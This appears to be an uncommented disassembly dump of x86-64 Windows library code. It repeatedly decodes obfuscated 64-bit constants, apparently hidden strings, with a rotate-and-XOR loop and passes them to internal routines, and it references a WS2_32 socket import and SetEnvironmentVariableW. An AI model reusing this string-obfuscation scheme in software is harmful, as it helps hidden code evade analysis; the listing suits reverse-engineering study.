cmp r10, 2
jb 0x18001e3d2
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0xa8]
lea rcx, [0x180039640]
call fcn.18002ec90
cmp byte [0x18003a1cd], r14b
movabs rsi, 0x691dfb620b60f166
je 0x18001e57f
movabs rax, 0x50b56cba3071f064
mov qword [rbp + 0xb8], rsi
mov qword [rbp + 0xc0], rax
mov r10, r14
mov r11, rbx
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0xb8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xb8], rdx
inc r10
cmp r10, 2
jb 0x18001e480
movabs rax, 0x1a4bfb6e2366f16a
mov r10, r14
mov qword [rbp + 0x258], rax
mov r11, rbx
movabs rax, 0x35c119d8356fe03e
mov qword [rbp + 0x260], rax
movabs rax, 0x42d5b2e9270e145a
mov qword [rbp + 0x268], rax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x258]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x258], rdx
inc r10
cmp r10, 3
jb 0x18001e510
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x258]
lea rcx, [0x1800393a0]
call fcn.18002e830
mov qword [rbp + 0xc8], rdi
mov r10, r14
mov qword [rbp + 0xd0], r15
mov r11, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0xc8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xc8], rdx
inc r10
cmp r10, 2
jb 0x18001e5a0
movabs rax, 0x3e4dfe710056e063
mov r10, r14
mov qword [rbp + 0x270], rax
mov r11, rbx
movabs rax, 0x3fc718d4335efb03
mov qword [rbp + 0x278], rax
movabs rax, 0x42d5b28c1c1f1745
mov qword [rbp + 0x280], rax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x270]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x270], rdx
inc r10
cmp r10, 3
jb 0x18001e630
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x270]
lea rcx, [0x180039870]
call fcn.18002ee50
mov r10, r14
mov qword [rbp + 0xd8], rdi
mov r11, rbx
mov qword [rbp + 0xe0], r15
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0xd8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xd8], rdx
inc r10
cmp r10, 2
jb 0x18001e6c0
movabs rax, 0x5b4be4680951e063
mov qword [rsp + 0x20], r14
mov qword [rbp - 0x60], rax
lea r8, [rbp + 0xd8]
mov rax, qword [rbp - 0x60]
lea rdx, [rbp - 0x60]
xor rax, r13
lea rcx, [0x1800398e0]
mov r9d, 3
mov qword [rbp - 0x60], rax
call fcn.18002f010
movabs r13, 0x50b56cba3071f064
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r13
mov r10, r14
mov r11, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0xe8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xe8], rdx
inc r10
cmp r10, 2
jb 0x18001e770
movabs rax, 0x297ef2730477e66e
mov r10, r14
mov qword [rbp + 0xf8], rax
mov r11, rbx
movabs rax, 0x50b53bc92f78f725
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + r10*8 + 0xf8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0xf8], rdx
inc r10
cmp r10, 2
jb 0x18001e7e2
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0xe8]
lea rdx, [rbp + 0xf8]
lea rcx, [0x180039790]
call fcn.18002e750
movabs rax, 0x374ab9355677f862
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x108], rax
mov r10, r14
mov r11, rbx
nop
mov rax, qword [rbp + r10*8 + 0x108]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x108], rdx
inc r10
cmp r10, 2
jb 0x18001e870
movabs rax, 0x3e5af6621751fb6e
mov r10, r14
mov qword [rbp + 0x288], rax
mov r11, rbx
movabs rax, 0x35d602db286efa03
mov qword [rbp + 0x290], rax
movabs rax, 0x42d5b2e970765129
mov qword [rbp + 0x298], rax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x288]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x288], rdx
inc r10
cmp r10, 3
jb 0x18001e900
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x108]
lea rdx, [rbp + 0x288]
lea rcx, [0x180039410]
call fcn.18002ebb0
movabs r15, 0x325ed6771066f17e
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x118], r15
mov r10, r14
mov r11, rbx
nop dword [rax]
mov rax, qword [rbp + r10*8 + 0x118]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x118], rdx
inc r10
cmp r10, 2
jb 0x18001e990
movabs rax, 0x14c61fdb305ee02f
movabs r12, 0x1c47d3771066f17e
mov qword [rbp + 0x2a8], rax
mov r10, r14
movabs rax, 0x42d5b2e93105274c
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x2b0], rax
mov r11, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x2a0]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x2a0], rdx
inc r10
cmp r10, 3
jb 0x18001ea20
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x2a0]
lea rcx, [0x180039a30]
call fcn.18002f390
mov r10, r14
mov qword [rbp + 0x128], r15
mov r11, rbx
mov qword [rbp + 0x130], r13
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x128]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x128], rdx
inc r10
cmp r10, 2
jb 0x18001eab0
movabs rdi, 0x1e47d3771066f17e
movabs rsi, 0x33dc1adf1870e124
movabs rax, 0x42d5b2861618184c
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x2c0], rsi
mov r10, r14
mov qword [rbp + 0x2c8], rax
mov r11, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x2b8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x2b8], rdx
inc r10
cmp r10, 3
jb 0x18001eb40
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x2b8]
lea rcx, [0x180039aa0]
call fcn.18002e4b0
mov r10, r14
mov qword [rbp + 0x138], r15
mov r11, rbx
mov qword [rbp + 0x140], r13
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x138]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x138], rdx
inc r10
cmp r10, 2
jb 0x18001ebd0
movabs rax, 0x23b3c08c0418184c
mov qword [rbp + 0x390], rdi
mov qword [rbp + 0x3a0], rax
mov r10, r14
movabs rax, 0xb56cba5c1aa21c6
mov qword [rbp + 0x398], rsi
mov qword [rbp + 0x3a8], rax
mov r11, rbx
mov rax, qword [rbp + r10*8 + 0x390]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x390], rdx
inc r10
cmp r10, 4
jb 0x18001ec50
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x390]
lea rcx, [0x180039b10]
call fcn.18002e670
mov r10, r14
mov qword [rbp + 0x148], r15
mov r11, rbx
mov qword [rbp + 0x150], r13
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x148]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x148], rdx
inc r10
cmp r10, 2
jb 0x18001ece0
movabs rax, 0x35d605cc3959e02f
mov qword [rbp + 0x3d8], r12
mov qword [rbp + 0x3e0], rax
mov r10, r14
movabs rax, 0x21b4d49b15023f60
mov r11, rbx
mov qword [rbp + 0x3e8], rax
movabs rax, 0x4a3aa2c4b5bc00c0
mov qword [rbp + 0x3f0], rax
movabs rax, 0x2d5b2e9707651294
mov qword [rbp + 0x3f8], rax
nop dword [rax + rax]
mov rax, qword [rbp + r10*8 + 0x3d8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x3d8], rdx
inc r10
cmp r10, 5
jb 0x18001ed80
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x148]
lea rdx, [rbp + 0x3d8]
lea rcx, [0x180039b80]
call fcn.18002e590
movabs rdi, 0x691dfb620b60f166
movabs r15, 0x42d5b2e970765129
cmp dword [0x18003a3d8], r14d
mov r12, qword [rsp + 0x920]
jne 0x18001ee21
cmp byte [reloc.WS2_32.dll_accept], r14b
je 0x18001f041
mov qword [rbp + 0x158], rdi
mov r10, r14
mov qword [rbp + 0x160], r13
mov r11, rbx
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x158]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x158], rdx
inc r10
cmp r10, 2
jb 0x18001ee40
movabs rax, 0x3c49e2650056e764
mov r10, r14
mov qword [rbp + 0x2d0], rax
mov r11, rbx
movabs rax, 0x3ed01fdf2e4de62f
mov qword [rbp + 0x2d8], rax
movabs rax, 0x42d5b2e97076515d
mov qword [rbp + 0x2e0], rax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x2d0]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x2d0], rdx
inc r10
cmp r10, 3
jb 0x18001eed0
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x2d0]
lea rcx, [0x1800399c0]
call fcn.18002e910
mov r10, r14
mov qword [rbp + 0x168], rdi
mov r11, rbx
mov qword [rbp + 0x170], r13
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x168]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x168], rdx
inc r10
cmp r10, 2
jb 0x18001ef60
movabs rax, 0x1a4df8753566f16a
mov r10, r14
mov qword [rbp + 0x178], rax
mov r11, rbx
movabs rax, 0x50b51fc9396ff02e
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + r10*8 + 0x178]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x178], rdx
inc r10
cmp r10, 2
jb 0x18001efd2
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x178]
lea rcx, [0x180039950]
call fcn.18002f2b0
cmp byte [reloc.WS2_32.dll_accept], r14b
mov r13, qword [rsp + 0x918]
je 0x18001f45f
lea rdx, [0x18003a5f0]
lea rcx, [rbp + 0x460]
call fcn.18000b440
movsxd rcx, eax
movzx eax, word [rbp + rcx*2 + 0x45e]
cmp ax, 0x5c
je 0x18001f080
cmp ax, 0x2f
jne 0x18001f089
mov word [rbp + rcx*2 + 0x45e], r14w
movabs rax, 0x5b6a97576542946c
mov r10, r14
mov qword [rbp + 0x188], rax
mov r11, rbx
movabs rax, 0x50b56cfb5c49940b
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + r10*8 + 0x188]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x188], rdx
inc r10
cmp r10, 2
jb 0x18001f0b1
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
movabs rdi, 0x751ca46b0977fc7e
movabs rsi, 0x50b56cba5c71f82e
mov qword [rbp + 0x198], rdi
mov r10, r14
mov qword [rbp + 0x1a0], rsi
mov r11, rbx
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x198]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x198], rdx
inc r10
cmp r10, 2
jb 0x18001f140
movabs rax, 0x3e5ec4730055dc7e
mov r10, r14
mov qword [rbp + 0x2e8], rax
mov r11, rbx
movabs rax, 0x34d903fc307cfd29
mov qword [rbp + 0x2f0], rax
movabs rax, 0x4282da9d1126234c
mov qword [rbp + 0x2f8], rax
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x2e8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x2e8], rdx
inc r10
cmp r10, 3
jb 0x18001f1d0
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0x2e8]
lea rcx, [0x1800394f0]
call fcn.18002e3d0
mov r10, r14
mov qword [rbp + 0x1a8], rdi
mov r11, rbx
mov qword [rbp + 0x1b0], rsi
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x1a8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x1a8], rdx
inc r10
cmp r10, 2
jb 0x18001f260
movabs rax, 0x3741d1730055dc7e
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x300], rax
mov r10, r14
movabs rax, 0x7dd18db0c6ff12e
mov r11, rbx
mov qword [rbp + 0x308], rax
nop dword [rax]
mov rax, qword [rbp + r10*8 + 0x300]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x300], rdx
inc r10
cmp r10, 3
jb 0x18001f2e0
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0x300]
lea rcx, [0x180039480]
call fcn.18002ed70
mov r10, r14
mov qword [rbp + 0x1b8], rdi
mov r11, rbx
mov qword [rbp + 0x1c0], rsi
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + r10*8 + 0x1b8]
mov r9d, r10d
neg r9d
mov r8, r11
and r9d, 0xf
rol r8, 3
not r8
rol r11, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x1b8], rdx
inc r10
cmp r10, 2
jb 0x18001f370
movabs rax, 0x3440dc730055dc7e
mov r10, r14
mov qword [rbp + 0x318], rax
movabs rax, 0x22d008d6335bfa3d
mov qword [rbp + 0x320], rax
movabs rax, 0x42d5b2e918023079
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + r10*8 + 0x318]
mov r9d, r10d
neg r9d
mov r8, rbx
and r9d, 0xf
rol r8, 3
not r8
rol rbx, 1
mov rdx, r8
mov ecx, r9d
neg ecx
and ecx, 0x3f
shl rdx, cl
mov ecx, r9d
shr r8, cl
or rdx, r8
xor rdx, rax
mov qword [rbp + r10*8 + 0x318], rdx
inc r10
cmp r10, 3
jb 0x18001f3f0
mov r9d, 3
mov qword [rsp + 0x20], r14
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0x318]
lea rcx, [0x180039560]
call fcn.18002f0f0
mov rsi, qword [rsp + 0x928]
mov al, 1
add rsp, 0x930
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret